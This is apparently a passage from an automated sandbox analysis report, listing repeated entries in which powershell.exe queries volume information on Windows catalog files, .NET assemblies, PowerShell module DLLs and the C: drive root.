            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities.Presentation\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.Presentation.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
